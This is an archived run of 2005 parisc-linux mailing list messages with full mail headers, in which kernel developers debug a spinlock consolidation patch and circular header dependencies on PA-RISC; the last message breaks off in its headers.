Xref: news.gmane.org gmane.linux.ports.parisc:25138

On Wed, Jun 08, 2005 at 03:31:14PM +0200, Joel Soete wrote:
> error: structure has no member named `lock'
...
> the pb is this hunk:
> --- linux/include/asm-parisc/processor.h-orig   20 May 2005 00:05:13 -0000
> +++ linux/include/asm-parisc/processor.h        6 Jun 2005 04:32:36 -0000
> @@ -87,7 +88,7 @@ struct cpuinfo_parisc {
>         unsigned long hpa;          /* Host Physical address */
>         unsigned long txn_addr;     /* MMIO addr of EIR or id_eid */
>  #ifdef CONFIG_SMP
> -       spinlock_t lock;            /* synchronization for ipi's */
> +       raw_spinlock_t pending_lock;  /* protect sender/receiver races */
>         unsigned long pending_ipi;  /* bitmap of type ipi_message_type */
>         unsigned long ipi_count;    /* number ipi Interrupts */
>  #endif
> ====<>====

Sorry - my bad. That chunk is not in my source tree.
I've respun the patch without that bit.
See -03 in the same location.

> Freeing unused kernel memory: Badness in smp_call_function at /Develop/linux-2.6.12-rc5-pa3-050606_4Consolidate/arch/parisc/kernel/0
> Backtrace:
>  [<1011604c>] smp_call_function+0x6c/0x384
>  [<10106024>] flush_data_cache+0x24/0x40
...

This is not a real problem. We have a paranoid WARN_ON in the code
and it's been warning us about this one case for a long time now.

> 364k freed
> [...]
> 
> hanging?

What was the last output?

> The analayse of a TOC giving me following info:
> -----------------  Processor 0 TOC Information -------------------
> GR[02] == rp = 0000000010276d7c
> Func: uart_shutdown, Off: 0xbc, Addr: 0x10276d7c
...
> Parse IAOQ = 0x0000000010158b80 for CPU[0]
> Func: synchronize_irq, Off: 0x18, Addr: 0x10158b80


> GR[02] == rp = 0000000010195000
> Func: chrdev_open, Off: 0xe0, Addr: 0x10195000
...
> Parse IAOQ = 0x0000000010104404 for CPU[1]
> Func: lock_kernel, Off: 0x34, Addr: 0x10104404

I'm not sure what the issue is here.
Let me respin the patch so that I know the lock is correctly declared.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] usb/input/hid-core.c extract() brain damage
Date: Sat, 11 Jun 2005 21:06:54 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <42AB526E.3020508@tiscali.be>
References: <200506072020.j57KKJgU028014@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624546 26844 80.91.229.3 (22 Nov 2014 02:49:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:06 +0000 (UTC)
Cc: kyle@cabal.ca,
 parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2005 01:13:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 12 Jun 2005 03:13:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A75747D654;
	Sat, 11 Jun 2005 19:13:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10206-06; Sat, 11 Jun 2005 19:13:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 961D47D655;
	Sat, 11 Jun 2005 19:13:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A4977D653
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Jun 2005 19:13:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10206-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Jun 2005 19:13:42 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A35437D651
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Jun 2005 19:13:42 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 1399A751A4; Sat, 11 Jun 2005 19:13:39 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by palinux.hppa (Postfix) with ESMTP id 4A6C4751A3;
	Sat, 11 Jun 2005 19:13:37 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by cuprel1.hp.com (Postfix) with ESMTP
	id 9A89B4CD4; Sat, 11 Jun 2005 14:10:12 -0700 (PDT)
Original-Received: from [83.134.228.180] (helo=[83.134.228.180])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DhDBv-0000i0-NP; Sat, 11 Jun 2005 23:06:55 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <200506072020.j57KKJgU028014@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GenZYvd4eSEkY76WZHQhaXN1IGRvb8Cf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25139

Hi all,

A small update:

John David Anglin wrote:
>>>Sorry it didn't help for me (on a b180 with kernel 2.6.12-rc5-pa2 and 2.6.8/include/asm-parisc/unaligned.h)
>>>still panicing as usual:
> 
> 
> It also didn't help the stability issues that I previously reported
> for my c3750 although the mouse and keyboard now work with 2.6.12.
> 
> 
>>Definitely, the system already hang with 2.6.9-rc2-pa13.
>>As it's a b180, I observe leds on front panel:
>>    o heart bit always flicking, 
>>    o from time to time lan in/out leds flick also,
>>    o power on/off button didn't reach to stop the system
>>    o after that only toc buttom reach to restart the server (fwiw nothing
>>in piminfo?)
OTC 2.6.9-rc2-pa1 works fine (stress test during a full day wihout pb)

:-) : pb didn't come from upstream merge (that reduce also analysis to only some 150k :-) )

[...]

> 
> The system was still pingable, but ssh and the console didn't work.
mmm typical when a system crash: as far as I can observe the nic is only reset when the system reset itself.
So when a system crash, the nic is still configured and icmp trafic (afaik hw level) still respond.

> No heartbeat was observed.
>
That would mean that there is not anymore activity on the system.
Otc of my system where at least some routine (e.g. heartbit) was still running.

Most probably we are facing to different pb.

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Sun, 12 Jun 2005 08:49:22 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20050612064922.GA5257@elte.hu>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<20050606060512.GB30857@colo.lackof.org>
	<20050606073627.GA10387@elte.hu>
	<20050606175029.GC24437@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624546 26851 80.91.229.3 (22 Nov 2014 02:49:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2005 06:50:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 12 Jun 2005 08:50:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82A167D655;
	Sun, 12 Jun 2005 00:50:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11845-06; Sun, 12 Jun 2005 00:50:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7EBD47D658;
	Sun, 12 Jun 2005 00:50:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B56167D651
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Jun 2005 00:50:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11845-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Jun 2005 00:50:07 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4CF037D650
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Jun 2005 00:50:07 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id EEE95751A4; Sun, 12 Jun 2005 00:50:07 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx2.elte.hu (mx2.elte.hu [157.181.151.9])
	by palinux.hppa (Postfix) with ESMTP id 7F027751A3;
	Sun, 12 Jun 2005 00:50:06 -0600 (MDT)
Original-Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200])
	by mx2.elte.hu (Postfix) with ESMTP id 86BB731F0DF;
	Sun, 12 Jun 2005 08:47:01 +0200 (CEST)
Original-Received: by chiara.elte.hu (Postfix, from userid 17806)
	id 6BCBE1FC2; Sun, 12 Jun 2005 08:49:52 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20050606175029.GC24437@colo.lackof.org>
User-Agent: Mutt/1.4.2.1i
X-ELTE-SpamVersion: MailScanner 4.31.6-itk1 (ELTE 1.2) SpamAssassin 2.63
	ClamAV 0.73
X-ELTE-VirusStatus: clean
X-ELTE-SpamCheck: no
X-ELTE-SpamCheck-Details: score=-4.9, required 5.9,
	autolearn=not spam, BAYES_00 -4.90
X-ELTE-SpamScore: -4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fb7ZYqkpeSEkYb6WZHQhaXN1IGRvb8CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25140


* Grant Grundler <grundler@parisc-linux.org> wrote:

> IPI and TLB locks can be normal locks.
> I've dropped the parts that changed those.
> 
> New (smaller) patch parked at:
>     ftp://ftp.parisc-linux.org/patches/consolidate-spinlocks-parisc.patch-02

thanks. I'm still wondering about the fundamental question though: why 
doesnt the box boot without your patch? Why does the __atomic_hash and 
the pending_lock have to be converted to a raw_spinlock? This patch does 
not change anything fundamental - you are still getting the same 
spinlock primitives from spinlock_t. The only thing that changes is with 
spinlock debugging: there another (generic) piece of code kicks in. The 
only problem could be with assembly code that 'knows' the layout of the 
spinlocks but doesnt take debugging into account - but is this possible 
in the PARISC case? (Yet another possibility would be if i messed up the 
raw type completely, but then your box wouldnt boot at all.)

so this is still quite much of a mystery to me!

	Ingo
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Sun, 12 Jun 2005 01:25:07 -0600
Lines: 69
Approved: news@gmane.org
Message-ID: <20050612072507.GB25059@colo.lackof.org>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<20050606060512.GB30857@colo.lackof.org>
	<20050606073627.GA10387@elte.hu>
	<20050606175029.GC24437@colo.lackof.org>
	<20050612064922.GA5257@elte.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624546 26857 80.91.229.3 (22 Nov 2014 02:49:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2005 07:21:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 12 Jun 2005 09:21:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DEE77D661;
	Sun, 12 Jun 2005 01:21:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12086-04; Sun, 12 Jun 2005 01:21:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D12417D662;
	Sun, 12 Jun 2005 01:21:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 334EA7D660
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Jun 2005 01:21:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12086-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Jun 2005 01:21:24 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B096A7D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Jun 2005 01:21:24 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 2F985751A4; Sun, 12 Jun 2005 01:21:24 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 947EE751A3;
	Sun, 12 Jun 2005 01:21:23 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 190E929804C;
	Sun, 12 Jun 2005 01:25:09 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25074-06; Sun, 12 Jun 2005 01:25:07 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 670FE29803C; Sun, 12 Jun 2005 01:25:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050612064922.GA5257@elte.hu>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KofZYpxseSEkSL6WZHQhaXN1IGRvb0CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25141

On Sun, Jun 12, 2005 at 08:49:22AM +0200, Ingo Molnar wrote:
> 
> * Grant Grundler <grundler@parisc-linux.org> wrote:
> 
> > IPI and TLB locks can be normal locks.
> > I've dropped the parts that changed those.
> > 
> > New (smaller) patch parked at:
> >     ftp://ftp.parisc-linux.org/patches/consolidate-spinlocks-parisc.patch-02
> 
> thanks. I'm still wondering about the fundamental question though: why 
> doesnt the box boot without your patch?

Did you mean to ask: Why doesn't the kernel build w/o my patch?

> Why does the __atomic_hash and the pending_lock have to be converted
> to a raw_spinlock?

Only the __atomic_hash is raw_spinlock_t in this last patch (-03).

> This patch does not change anything fundamental

Eh?! Of course your patch does!
It dramatically changes the (nearly) circular dependencies in parisc
kernel header files. I avoid the circular dependency by using
a "raw spinlock" in that one case.

Look at the chain of nested include files in my previous message and
follow the chain and how different consumers of spinlocks are defined
in it.  It should be clear why that lock has to be a raw lock.

>  - you are still getting the same spinlock primitives from spinlock_t.

Yes - but which header files are involved in defining spinlock_t?
And which ones does parisc atomic.h and bitops.h need?

>  The only thing that changes is with 
> spinlock debugging: there another (generic) piece of code kicks in. The 
> only problem could be with assembly code that 'knows' the layout of the 
> spinlocks but doesnt take debugging into account - but is this possible 
> in the PARISC case? (Yet another possibility would be if i messed up the 
> raw type completely, but then your box wouldnt boot at all.)

No - I don't you messed up the raw type. And I personally like that change.
SMP boots and "basically" works fine for me.
(Some other bugs are outstanding and not related to spinlock definitions.)

Debug code is just a distraction. It's not relevant to this problem IMHO.

> so this is still quite much of a mystery to me!

parisc has circular dependencies between system.h, atomic.h, bitops.h,
and spinlock.h in the include/asm-parisc header files.
Why?  Because we only have one atomic operation: LDCW. We use
it to define spinlocks....which are used for atomic-ops
and bitops...I've forgotten the exact dependency now since
I sorted this out about 2 years ago.

But it was the reason I added "raw spinlocks"....you've introduced
"raw_spinlock_t" and that's only complicated the circular dependency
but not eliminated it.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Sun, 12 Jun 2005 09:34:53 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20050612073453.GA7718@elte.hu>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<20050606060512.GB30857@colo.lackof.org>
	<20050606073627.GA10387@elte.hu>
	<20050606175029.GC24437@colo.lackof.org>
	<20050612064922.GA5257@elte.hu>
	<20050612072507.GB25059@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624547 26863 80.91.229.3 (22 Nov 2014 02:49:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2005 07:36:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 12 Jun 2005 09:36:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3FCA67D666;
	Sun, 12 Jun 2005 01:36:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12320-06; Sun, 12 Jun 2005 01:36:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FE217D66B;
	Sun, 12 Jun 2005 01:36:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00B197D666
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Jun 2005 01:36:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12086-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Jun 2005 01:36:03 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 898127D660
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Jun 2005 01:36:03 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6EEA5174EEE; Sun, 12 Jun 2005 01:35:37 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx1.elte.hu (mx1.elte.hu [157.181.1.137])
	by palinux.hppa (Postfix) with ESMTP id 3AE93174AC5;
	Sun, 12 Jun 2005 01:35:33 -0600 (MDT)
Original-Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200])
	by mx1.elte.hu (Postfix) with ESMTP id E2A29324871;
	Sun, 12 Jun 2005 09:33:22 +0200 (CEST)
Original-Received: by chiara.elte.hu (Postfix, from userid 17806)
	id 0DAEF1FC2; Sun, 12 Jun 2005 09:35:23 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20050612072507.GB25059@colo.lackof.org>
User-Agent: Mutt/1.4.2.1i
X-ELTE-SpamVersion: MailScanner 4.31.6-itk1 (ELTE 1.2) SpamAssassin 2.63
	ClamAV 0.73
X-ELTE-VirusStatus: clean
X-ELTE-SpamCheck: no
X-ELTE-SpamCheck-Details: score=-4.9, required 5.9,
	autolearn=not spam, BAYES_00 -4.90
X-ELTE-SpamScore: -4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vYDZYt5OeSEkZr6WZHQhaXN1IGRvb0CX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25142


* Grant Grundler <grundler@parisc-linux.org> wrote:

> > thanks. I'm still wondering about the fundamental question though: why 
> > doesnt the box boot without your patch?
> 
> Did you mean to ask: Why doesn't the kernel build w/o my patch?

ah, ok. If that's the case, then the main problem is that i've added 
#include <asm/atomic.h> to linux/spinlock.h? If you remove that
include from linux/spinlock.h and if you hack atomic_dec_and_lock to not 
use atomic_t but void *, does it build fine?

	Ingo
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Mon, 13 Jun 2005 00:29:38 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20050613062938.GD21766@colo.lackof.org>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<20050606060512.GB30857@colo.lackof.org>
	<20050606073627.GA10387@elte.hu>
	<20050606175029.GC24437@colo.lackof.org>
	<20050612064922.GA5257@elte.hu>
	<20050612072507.GB25059@colo.lackof.org>
